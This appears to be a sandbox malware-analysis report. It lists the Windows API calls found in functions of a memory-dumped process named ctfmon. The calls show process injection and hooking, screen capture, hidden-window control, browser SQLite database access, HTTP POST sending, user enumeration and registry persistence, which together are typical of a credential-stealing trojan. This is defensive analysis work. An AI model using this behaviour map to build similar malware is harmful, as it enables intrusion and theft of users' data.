      • Part of subcall function 00A4C7EE: RegSetValueExW.ADVAPI32(00000000,?,00000000,?,00000004,?), ref: 00A4C826
      • Part of subcall function 00A4C7EE: RegCloseKey.ADVAPI32(00000000), ref: 00A4C835
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A4CD7C, Relevance: 7.6, APIs: 5, Instructions: 108
    APIs
      • Part of subcall function 00A4CD37: VirtualQueryEx.KERNEL32(000000FF,?,?,0000001C), ref: 00A4CD4C
    • VirtualProtectEx.KERNEL32(000000FF,7C80E4DD,0000001E,00000040,00000000), ref: 00A4CDA9
    • ReadProcessMemory.KERNEL32(000000FF,7C80E4DD,?,0000001E,00000000), ref: 00A4CDCE
    • WriteProcessMemory.KERNEL32(000000FF,?,?,?,00000000), ref: 00A4CE47
    • WriteProcessMemory.KERNEL32(000000FF,?,000000E9,00000005,00000000), ref: 00A4CE6F
    • VirtualProtectEx.KERNEL32(000000FF,7C80E4DD,0000001E,00000000,00000000), ref: 00A4CE86
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A5667A, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 86
    APIs
      • Part of subcall function 00A3803E: WaitForSingleObject.KERNEL32(00000000,00A50285), ref: 00A38046
    • NtQueryInformationProcess.NTDLL(?,00000000,?,00000018), ref: 00A566A7
    • GetProcessImageFileNameW.PSAPI(?,?,00000104), ref: 00A566CB
      • Part of subcall function 00A44EBF: CharLowerW.USER32 ref: 00A44EF2
    • CloseHandle.KERNEL32 ref: 00A56760
      • Part of subcall function 00A49B15: CreateToolhelp32Snapshot.KERNEL32(00000004,00000000), ref: 00A49B22
      • Part of subcall function 00A49B15: Thread32First.KERNEL32(?,?), ref: 00A49B3D
      • Part of subcall function 00A49B15: Thread32Next.KERNEL32(?,0000001C), ref: 00A49B53
      • Part of subcall function 00A49B15: CloseHandle.KERNEL32 ref: 00A49B5E
      • Part of subcall function 00A37E34: CreateMutexW.KERNEL32(00A62AFC,00000001,00C1FF20), ref: 00A37E7C
      • Part of subcall function 00A37F10: DuplicateHandle.KERNEL32(000000FF,00000000,?,00000000,00000000,00000000,00000002), ref: 00A37F40
      • Part of subcall function 00A37F10: VirtualFreeEx.KERNEL32(?,?,00000000,00008000), ref: 00A3802C
    Strings
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A49B15, Relevance: 6.0, APIs: 4, Instructions: 36
    APIs
    • CreateToolhelp32Snapshot.KERNEL32(00000004,00000000), ref: 00A49B22
    • Thread32First.KERNEL32(?,?), ref: 00A49B3D
    • Thread32Next.KERNEL32(?,0000001C), ref: 00A49B53
    • CloseHandle.KERNEL32 ref: 00A49B5E
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A4C842, Relevance: 4.6, APIs: 3, Instructions: 54
    APIs
    • RegQueryValueExW.ADVAPI32(?,000000FF,00000000,00000000,00000000,?), ref: 00A4C867
      • Part of subcall function 00A48130: HeapAlloc.KERNEL32(00000008,?,00A4C881), ref: 00A48141
    • RegQueryValueExW.ADVAPI32(?,000000FF,00000000,?,?,?), ref: 00A4C896
      • Part of subcall function 00A48160: HeapFree.KERNEL32(00000000,00000000,00A5C62F,?,?), ref: 00A48173
    • RegCloseKey.ADVAPI32(?), ref: 00A4C8B6
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A4C7EE, Relevance: 4.5, APIs: 3, Instructions: 36
    APIs
    • RegCreateKeyExW.ADVAPI32(80000001,7C809F91,00000000,00000000,00000000,00000002,00000000,00000000,00000000), ref: 00A4C80C
    • RegSetValueExW.ADVAPI32(00000000,?,00000000,?,00000004,?), ref: 00A4C826
    • RegCloseKey.ADVAPI32(00000000), ref: 00A4C835
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A50533, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 30
    APIs
    • CreateMutexW.KERNEL32(00A62AFC,00000000,Global\{F0DDC10A-AA1F-173E-A961-10791936558D}), ref: 00A50556
      • Part of subcall function 00A50477: RegOpenKeyExW.ADVAPI32(80000001,SOFTWARE\Microsoft\Fyfe,00000000,00000001,?), ref: 00A504BA
      • Part of subcall function 00A4BC91: WaitForSingleObject.KERNEL32(?,000000FF), ref: 00A4BC94
      • Part of subcall function 00A4BC91: CloseHandle.KERNEL32 ref: 00A4BCA6
    Strings
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A4C62D, Relevance: 3.0, APIs: 2, Instructions: 22
    APIs
    • SetLastError.KERNEL32(0000009B,00A383E2,00000000,00A5026D,00000000), ref: 00A4C637
    • CreateThread.KERNEL32(00000000,00000000,00000000,00000000), ref: 00A4C65A
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A4C7BB, Relevance: 3.0, APIs: 2, Instructions: 20
    APIs
    • RegQueryValueExW.ADVAPI32(?,?,00000000,?,00A5C5CF,?), ref: 00A4C7D3
    • RegCloseKey.ADVAPI32(?), ref: 00A4C7E1
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A55E00, Relevance: 1.6, APIs: 1, Instructions: 62
    APIs
    • VirtualAllocEx.KERNEL32(000000FF,00000000,?,00003000,00000040), ref: 00A55E37
      • Part of subcall function 00A55D09: VirtualProtectEx.KERNEL32(000000FF,?,0000001E,00000040,7C80E4DD), ref: 00A55D4B
      • Part of subcall function 00A55D09: WriteProcessMemory.KERNEL32(000000FF,?,?,?,00000000), ref: 00A55D61
      • Part of subcall function 00A55D09: VirtualProtectEx.KERNEL32(000000FF,?,0000001E,7C80E4DD,7C80E4DD), ref: 00A55D7B
      • Part of subcall function 00A4CD7C: VirtualProtectEx.KERNEL32(000000FF,7C80E4DD,0000001E,00000040,00000000), ref: 00A4CDA9
      • Part of subcall function 00A4CD7C: ReadProcessMemory.KERNEL32(000000FF,7C80E4DD,?,0000001E,00000000), ref: 00A4CDCE
      • Part of subcall function 00A4CD7C: WriteProcessMemory.KERNEL32(000000FF,?,?,?,00000000), ref: 00A4CE47
      • Part of subcall function 00A4CD7C: WriteProcessMemory.KERNEL32(000000FF,?,000000E9,00000005,00000000), ref: 00A4CE6F
      • Part of subcall function 00A4CD7C: VirtualProtectEx.KERNEL32(000000FF,7C80E4DD,0000001E,00000000,00000000), ref: 00A4CE86
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A37ED5, Relevance: 1.5, APIs: 1, Instructions: 23
    APIs
    • CreateMutexW.KERNEL32(00A62AFC,00000000,?), ref: 00A37EF6
      • Part of subcall function 00A4BC91: WaitForSingleObject.KERNEL32(?,000000FF), ref: 00A4BC94
      • Part of subcall function 00A4BC91: CloseHandle.KERNEL32 ref: 00A4BCA6
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A48148, Relevance: 1.3, APIs: 1, Instructions: 9
    APIs
    • HeapAlloc.KERNEL32(00000000,00A32C2C,00A481A5,00A38067,00A32C30,00001000), ref: 00A48159
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A4EBA1, Relevance: 1.3, APIs: 1, Instructions: 6
    APIs
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd

    Non-executed Functions

    Function 00A4B57B, Relevance: 6.0, APIs: 4, Instructions: 32
    APIs
    • socket.WS2_32(?,00000001,00000006), ref: 00A4B584
    • bind.WS2_32 ref: 00A4B5A4
    • listen.WS2_32(?,00000000), ref: 00A4B5B3
    • #3.WS2_32(?,?,?,?,?,00000001,00000006,?,00A3A401,7FFFFFFF,00000000,?), ref: 00A4B5BE
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A4B962, Relevance: 4.5, APIs: 3, Instructions: 27
    APIs
    • socket.WS2_32(?,00000002,00000011), ref: 00A4B96B
    • bind.WS2_32 ref: 00A4B98B
    • #3.WS2_32(?,?,?,?,?,00000002,00000011,?,00A439E8), ref: 00A4B996
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A47B9E, Relevance: 82.6, APIs: 27, Strings: 20, Instructions: 389
    APIs
    • LoadLibraryA.KERNEL32(gdiplus.dll), ref: 00A47BD0
    • GetProcAddress.KERNEL32(?,GdiplusStartup), ref: 00A47BE1
    • GetProcAddress.KERNEL32(00000000,GdiplusShutdown), ref: 00A47BEE
    • GetProcAddress.KERNEL32(00000000,GdipCreateBitmapFromHBITMAP), ref: 00A47BFB
    • GetProcAddress.KERNEL32(00000000,GdipDisposeImage), ref: 00A47C08
    • GetProcAddress.KERNEL32(00000000,GdipGetImageEncodersSize), ref: 00A47C15
    • GetProcAddress.KERNEL32(00000000,GdipGetImageEncoders), ref: 00A47C22
    • GetProcAddress.KERNEL32(00000000,GdipSaveImageToStream), ref: 00A47C2F
    • LoadLibraryA.KERNEL32(ole32.dll), ref: 00A47C77
    • GetProcAddress.KERNEL32(?,CreateStreamOnHGlobal), ref: 00A47C82
    • LoadLibraryA.KERNEL32(gdi32.dll), ref: 00A47C94
    • GetProcAddress.KERNEL32(?,CreateDCW), ref: 00A47C9F
    • GetProcAddress.KERNEL32(00000001,CreateCompatibleDC), ref: 00A47CAB
    • GetProcAddress.KERNEL32(00000001,CreateCompatibleBitmap), ref: 00A47CB8
    • GetProcAddress.KERNEL32(00000001,GetDeviceCaps), ref: 00A47CC5
    • GetProcAddress.KERNEL32(00000001,SelectObject), ref: 00A47CD2
    • GetProcAddress.KERNEL32(00000001,BitBlt), ref: 00A47CDF
    • GetProcAddress.KERNEL32(00000001,DeleteObject), ref: 00A47CEC
    • GetProcAddress.KERNEL32(00000001,DeleteDC), ref: 00A47CF9
    • LoadImageW.USER32(00000000,00007F00,00000002,00000000,00000000,00008040), ref: 00A47D9D
    • GetIconInfo.USER32(?,?), ref: 00A47DB2
    • GetCursorPos.USER32(?), ref: 00A47DC0
    • DrawIcon.USER32(?,?,?,?), ref: 00A47E91
      • Part of subcall function 00A48130: HeapAlloc.KERNEL32(00000008,?,00A4C881), ref: 00A48141
    • lstrcmpiW.KERNEL32(?,?), ref: 00A47F13
      • Part of subcall function 00A48160: HeapFree.KERNEL32(00000000,00000000,00A5C62F,?,?), ref: 00A48173
    • FreeLibrary.KERNEL32(00000000), ref: 00A48030
    • FreeLibrary.KERNEL32(?), ref: 00A4803A
    • FreeLibrary.KERNEL32(00000001), ref: 00A48044
    Strings
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A44383, Relevance: 52.8, APIs: 29, Strings: 1, Instructions: 308
    APIs
      • Part of subcall function 00A5B77C: GetClassNameW.USER32(?,?,00000101), ref: 00A5B797
    • GetWindowInfo.USER32(?,?), ref: 00A443EF
    • IntersectRect.USER32(?,?), ref: 00A44412
    • IntersectRect.USER32(?,?), ref: 00A44468
    • GetDC.USER32(00000000), ref: 00A444AC
    • CreateCompatibleDC.GDI32 ref: 00A444BD
    • ReleaseDC.USER32(00000000), ref: 00A444C7
    • SelectObject.GDI32(?,?), ref: 00A444DC
    • DeleteDC.GDI32 ref: 00A444EA
    • TlsSetValue.KERNEL32(?), ref: 00A44535
    • EqualRect.USER32(?,?), ref: 00A4454F
    • SaveDC.GDI32 ref: 00A4455A
    • SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 00A44575
    • SendMessageW.USER32(?,00000085,00000001,00000000), ref: 00A44595
    • DefWindowProcW.USER32(?,00000317,?,00000002), ref: 00A445A7
    • RestoreDC.GDI32(?,?), ref: 00A445BE
    • SaveDC.GDI32 ref: 00A445E0
    • SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 00A445F6
    • SendMessageW.USER32(?,00000014,?,00000000), ref: 00A4460F
    • RestoreDC.GDI32(?,?), ref: 00A4461D
    • SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 00A44630
    • SendMessageW.USER32(?,0000000F,00000000,00000000), ref: 00A44640
    • DefWindowProcW.USER32(?,00000317,?,00000004), ref: 00A44652
    • TlsSetValue.KERNEL32(00000000), ref: 00A4466C
    • SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 00A4468C
    • DefWindowProcW.USER32(00000004,00000317,?,0000000E), ref: 00A446A8
    • SelectObject.GDI32(?,?), ref: 00A446BE
    • DeleteDC.GDI32 ref: 00A446C5
    • SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 00A446ED
      • Part of subcall function 00A442A1: GdiFlush.GDI32 ref: 00A442F8
    • PrintWindow.USER32(00000008,?,00000000), ref: 00A44703
    Strings
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A5B7E3, Relevance: 25.7, APIs: 17, Instructions: 207
    APIs
    • TlsAlloc.KERNEL32(?,00A645C0,00000000), ref: 00A5B7FD
    • RegisterWindowMessageW.USER32(?,00000011,?,00000000,?,00A645C0,00000000), ref: 00A5B824
    • CreateEventW.KERNEL32(00A62AFC,00000001,00000000,?), ref: 00A5B84B
    • CreateMutexW.KERNEL32(00A62AFC,00000000,?), ref: 00A5B86B
    • CreateFileMappingW.KERNEL32(00000000,00A62AFC,00000004,00000000,03D09128,?), ref: 00A5B893
    • MapViewOfFile.KERNEL32(?,00000002,00000000,00000000,00000000), ref: 00A5B8A9
    • GetDC.USER32(00000000), ref: 00A5B8C6
    • GetDeviceCaps.GDI32(?,00000008), ref: 00A5B8E6
    • GetDeviceCaps.GDI32(00000000,0000000A), ref: 00A5B8F0
    • CreateCompatibleBitmap.GDI32(00000000,?), ref: 00A5B8FD
      • Part of subcall function 00A4FA1C: GetDIBits.GDI32(00A645C0,00000002,00000000,00000001,00000000,?,00000000), ref: 00A4FA54
      • Part of subcall function 00A4FA1C: GetDIBits.GDI32(00A645C0,00000002,00000000,00000001,00000000,?,00000000), ref: 00A4FA6A
      • Part of subcall function 00A4FA1C: DeleteObject.GDI32(00000002), ref: 00A4FA77
      • Part of subcall function 00A4FA1C: CreateDIBSection.GDI32(00A645C0,?,00000000,00000000,00000000,00000000), ref: 00A4FAE7
      • Part of subcall function 00A4FA1C: DeleteObject.GDI32(00000002), ref: 00A4FB06
    • ReleaseDC.USER32(00000000,00000000), ref: 00A5B925
      • Part of subcall function 00A48160: HeapFree.KERNEL32(00000000,00000000,00A5C62F,?,?), ref: 00A48173
    • CreateMutexW.KERNEL32(00A62AFC,00000000,?), ref: 00A5B9C9
    • GetDC.USER32(00000000), ref: 00A5B9DE
    • CreateCompatibleDC.GDI32 ref: 00A5B9EB
    • CreateCompatibleBitmap.GDI32(?,00000001,00000001), ref: 00A5BA00
    • SelectObject.GDI32(?), ref: 00A5BA17
    • ReleaseDC.USER32(00000000), ref: 00A5BA2D
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A56DB7, Relevance: 25.6, APIs: 17, Instructions: 148
    APIs
    • OpenProcess.KERNEL32(?,00000000,?), ref: 00A56DE0
      • Part of subcall function 00A37F10: DuplicateHandle.KERNEL32(000000FF,00000000,?,00000000,00000000,00000000,00000002), ref: 00A37F40
      • Part of subcall function 00A37F10: VirtualFreeEx.KERNEL32(?,?,00000000,00008000), ref: 00A3802C
    • CreateFileMappingW.KERNEL32(00000000,00000000,00000040,00000000,?,00000000), ref: 00A56E2B
    • MapViewOfFile.KERNEL32(?,00000006,00000000,00000000,00000000), ref: 00A56E4E
    • NtSuspendProcess.NTDLL(?,?,00000006,00000000), ref: 00A56E60
    • ReadProcessMemory.KERNEL32(?,?,00000000,00000000,00000000), ref: 00A56E7C
    • NtUnmapViewOfSection.NTDLL(?,?,?,?), ref: 00A56EAE
    • NtMapViewOfSection.NTDLL(?,?,00C1FF78,00000000), ref: 00A56ECC
    • FlushInstructionCache.KERNEL32(?,?,00000006), ref: 00A56EDA
    • NtResumeProcess.NTDLL(?,?,?,00000000), ref: 00A56EE5
    • Sleep.KERNEL32(00000064), ref: 00A56EF2
    • UnmapViewOfFile.KERNEL32(00000000), ref: 00A56EFB
    • CloseHandle.KERNEL32(?), ref: 00A56F04
    • CreateRemoteThread.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000000), ref: 00A56F1D
    • WaitForSingleObject.KERNEL32(?,00002710), ref: 00A56F2F
    • CloseHandle.KERNEL32 ref: 00A56F36
    • VirtualFreeEx.KERNEL32(?,?,00000000,00008000), ref: 00A56F4F
    • CloseHandle.KERNEL32 ref: 00A56F56
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A39065, Relevance: 24.6, APIs: 8, Strings: 6, Instructions: 137
    APIs
      • Part of subcall function 00A4D9C8: GetTempPathW.KERNEL32(000000F6,?), ref: 00A4D9DF
      • Part of subcall function 00A4A3FB: WaitForSingleObject.KERNEL32(?,?), ref: 00A4A44F
      • Part of subcall function 00A4A3FB: Sleep.KERNEL32(?), ref: 00A4A462
      • Part of subcall function 00A4A3FB: InternetCloseHandle.WININET ref: 00A4A4E8
    • LoadLibraryW.KERNEL32(msvcrt.dll), ref: 00A39176
    • LoadLibraryW.KERNEL32(?), ref: 00A39184
    • GetProcAddress.KERNEL32(?,sqlite3_close), ref: 00A391AA
    • GetProcAddress.KERNEL32(?,sqlite3_exec), ref: 00A391B6
    • GetProcAddress.KERNEL32(?,sqlite3_free), ref: 00A391C2
    • GetProcAddress.KERNEL32(?,sqlite3_open16), ref: 00A391CE
      • Part of subcall function 00A38C09: SHGetFolderPathW.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 00A38C30
      • Part of subcall function 00A38C09: GetFileAttributesW.KERNEL32(?), ref: 00A38C84
      • Part of subcall function 00A38C09: GetPrivateProfileIntW.KERNEL32(?,?,000000FF,?), ref: 00A38CE7
      • Part of subcall function 00A38C09: GetPrivateProfileStringW.KERNEL32(?,00000000,00000000,?,00000104,?), ref: 00A38D15
    • FreeLibrary.KERNEL32(?), ref: 00A39230
    • FreeLibrary.KERNEL32(?), ref: 00A39236
      • Part of subcall function 00A4D955: SetFileAttributesW.KERNEL32(?,00000080), ref: 00A4D95E
      • Part of subcall function 00A4D955: DeleteFileW.KERNEL32(?), ref: 00A4D968
    Strings
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A524CC, Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 181
    APIs
      • Part of subcall function 00A4CF9B: InternetCrackUrlA.WININET(?,00000000,00000000,?), ref: 00A4CFC9
    • InternetOpenA.WININET(00000000,00000000,00000000,00000000,?), ref: 00A524FA
    • InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00A52518
    • HttpOpenRequestA.WININET(?,POST,?,HTTP/1.1,?,00000000,?,00000000), ref: 00A52563
    • HttpAddRequestHeadersA.WININET(?,?,000000FF,A0000000), ref: 00A525B8
      • Part of subcall function 00A48130: HeapAlloc.KERNEL32(00000008,?,00A4C881), ref: 00A48141
    • HttpAddRequestHeadersA.WININET(?,?,000000FF,A0000000), ref: 00A5262C
    • HttpSendRequestA.WININET(?,00000000,00000000,?,?), ref: 00A5264E
    • HttpQueryInfoA.WININET(?,20000013,?,?,00000000), ref: 00A52672
      • Part of subcall function 00A4A61A: InternetQueryOptionA.WININET(00000003,00000022,00000000), ref: 00A4A62E
      • Part of subcall function 00A4A61A: GetLastError.KERNEL32(?,?,?,00A5268F,?,?,20000013,?,?,00000000,?,00000000,00000000,?,?), ref: 00A4A638
      • Part of subcall function 00A4A61A: InternetQueryOptionA.WININET(00000003,00000022), ref: 00A4A658
    • InternetCloseHandle.WININET ref: 00A526B5
    • InternetCloseHandle.WININET(?), ref: 00A526BE
    • InternetCloseHandle.WININET(?), ref: 00A526C7
      • Part of subcall function 00A48160: HeapFree.KERNEL32(00000000,00000000,00A5C62F,?,?), ref: 00A48173
    Strings
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A5BEC4, Relevance: 22.6, APIs: 15, Instructions: 132
    APIs
    • GetMenu.USER32(?), ref: 00A5BEEE
    • GetMenuItemCount.USER32 ref: 00A5BF04
    • GetMenuState.USER32(?,00000000,00000400), ref: 00A5BF1C
    • HiliteMenuItem.USER32(?,?,00000000,00000400), ref: 00A5BF2C
    • MenuItemFromPoint.USER32(?,?,?,?), ref: 00A5BF52
    • GetMenuState.USER32(?,?,00000400), ref: 00A5BF66
    • EndMenu.USER32 ref: 00A5BF76
    • HiliteMenuItem.USER32(?,?,?,00000480), ref: 00A5BF86
    • GetSubMenu.USER32 ref: 00A5BFAA
    • GetMenuItemRect.USER32(?,?,?,?), ref: 00A5BFC4
    • TrackPopupMenuEx.USER32(?,00004000,?,?,?,00000000), ref: 00A5BFE5
    • GetMenuItemID.USER32 ref: 00A5BFFD
    • SendMessageW.USER32(?,00000111,?,00000000), ref: 00A5C016
      • Part of subcall function 00A44383: GetWindowInfo.USER32(?,?), ref: 00A443EF
      • Part of subcall function 00A44383: IntersectRect.USER32(?,?), ref: 00A44412
      • Part of subcall function 00A44383: IntersectRect.USER32(?,?), ref: 00A44468
      • Part of subcall function 00A44383: GetDC.USER32(00000000), ref: 00A444AC
      • Part of subcall function 00A44383: CreateCompatibleDC.GDI32 ref: 00A444BD
      • Part of subcall function 00A44383: ReleaseDC.USER32(00000000), ref: 00A444C7
      • Part of subcall function 00A44383: SelectObject.GDI32(?,?), ref: 00A444DC
      • Part of subcall function 00A44383: DeleteDC.GDI32 ref: 00A444EA
      • Part of subcall function 00A44383: TlsSetValue.KERNEL32(?), ref: 00A44535
      • Part of subcall function 00A44383: EqualRect.USER32(?,?), ref: 00A4454F
      • Part of subcall function 00A44383: SaveDC.GDI32 ref: 00A4455A
      • Part of subcall function 00A44383: SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 00A44575
      • Part of subcall function 00A44383: SendMessageW.USER32(?,00000085,00000001,00000000), ref: 00A44595
      • Part of subcall function 00A44383: DefWindowProcW.USER32(?,00000317,?,00000002), ref: 00A445A7
      • Part of subcall function 00A44383: RestoreDC.GDI32(?,?), ref: 00A445BE
      • Part of subcall function 00A44383: SaveDC.GDI32 ref: 00A445E0
      • Part of subcall function 00A44383: SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 00A445F6
      • Part of subcall function 00A44383: SendMessageW.USER32(?,00000014,?,00000000), ref: 00A4460F
      • Part of subcall function 00A44383: RestoreDC.GDI32(?,?), ref: 00A4461D
      • Part of subcall function 00A44383: SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 00A44630
      • Part of subcall function 00A44383: SendMessageW.USER32(?,0000000F,00000000,00000000), ref: 00A44640
      • Part of subcall function 00A44383: DefWindowProcW.USER32(?,00000317,?,00000004), ref: 00A44652
      • Part of subcall function 00A44383: TlsSetValue.KERNEL32(00000000), ref: 00A4466C
      • Part of subcall function 00A44383: SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 00A4468C
      • Part of subcall function 00A44383: DefWindowProcW.USER32(00000004,00000317,?,0000000E), ref: 00A446A8
      • Part of subcall function 00A44383: SelectObject.GDI32(?,?), ref: 00A446BE
      • Part of subcall function 00A44383: DeleteDC.GDI32 ref: 00A446C5
      • Part of subcall function 00A44383: SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 00A446ED
      • Part of subcall function 00A44383: PrintWindow.USER32(00000008,?,00000000), ref: 00A44703
    • SetKeyboardState.USER32 ref: 00A5C055
    • SetEvent.KERNEL32 ref: 00A5C061
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A4C249, Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 52
    APIs
    • LoadLibraryA.KERNEL32(cabinet.dll), ref: 00A4C25D
    • GetProcAddress.KERNEL32(?,FCICreate), ref: 00A4C27D
    • GetProcAddress.KERNEL32(FCIAddFile), ref: 00A4C28F
    • GetProcAddress.KERNEL32(FCIFlushCabinet), ref: 00A4C2A1
    • GetProcAddress.KERNEL32(FCIDestroy), ref: 00A4C2B3
    • HeapCreate.KERNEL32(00000000,00080000,00000000), ref: 00A4C2DE
    • FreeLibrary.KERNEL32(FCICreate), ref: 00A4C2F3
    Strings
    Memory Dump Source
    • Source File: 00000009.00000002.723419607.00A30000.00000040.sdmp, Offset: 00A30000, based on PE: true
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_9_2_ctfmon.jbxd
    Function 00A5A69D, Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 188
    APIs
    • LoadLibraryW.KERNEL32(?), ref: 00A5A6BE
    • GetProcAddress.KERNEL32(?,?), ref: 00A5A6DF
    • SHGetFolderPathW.SHELL32(00000000,00000007,000000FF,00000001,?), ref: 00A5A710
    • StrCmpNIW.SHLWAPI(?,?), ref: 00A5A733
    • FreeLibrary.KERNEL32 ref: 00A5A75A
    • NetUserEnum.NETAPI32(00000000,00000000,00000002,00000000,000000FF,00A3878D,?,?), ref: 00A5A790
    • NetUserGetInfo.NETAPI32(00000000,00000000,00000017,?), ref: 00A5A7C9
      • Part of subcall function 00A3ADB4: ConvertSidToStringSidW.ADVAPI32(?,?), ref: 00A3ADC8
      • Part of subcall function 00A3ADB4: PathUnquoteSpacesW.SHLWAPI(?), ref: 00A3AE31
      • Part of subcall function 00A3ADB4: ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 00A3AE42
      • Part of subcall function 00A3ADB4: LocalFree.KERNEL32(?), ref: 00A3AE5A
    • NetApiBufferFree.NETAPI32(?), ref: 00A5A862
      • Part of subcall function 00A4DED6: PathCombineW.SHLWAPI(?,?,?), ref: 00A4DEF5
      • Part of subcall function 00A4DC58: PathSkipRootW.SHLWAPI(?), ref: 00A4DC63
      • Part of subcall function 00A4DC58: GetFileAttributesW.KERNEL32(?), ref: 00A4DC8B
      • Part of subcall function 00A4DC58: CreateDirectoryW.KERNEL32(?,00000000), ref: 00A4DC99
      • Part of subcall function 00A59ED2: LoadLibraryW.KERNEL32(?), ref: 00A59EE9
      • Part of subcall function 00A59ED2: GetProcAddress.KERNEL32(?,?), ref: 00A59F15
      • Part of subcall function 00A59ED2: GetProcAddress.KERNEL32(?,00000006), ref: 00A59F2C
      • Part of subcall function 00A59ED2: GetProcAddress.KERNEL32(?,00000000), ref: 00A59F44
      • Part of subcall function 00A59ED2: WTSGetActiveConsoleSessionId.KERNEL32 ref: 00A59F61
      • Part of subcall function 00A59ED2: FreeLibrary.KERNEL32(?), ref: 00A59FCD
    • NetApiBufferFree.NETAPI32(00000000), ref: 00A5A875
    • SHGetFolderPathW.SHELL32(00000000,00008007,000000FF,00000001,?), ref: 00A5A899
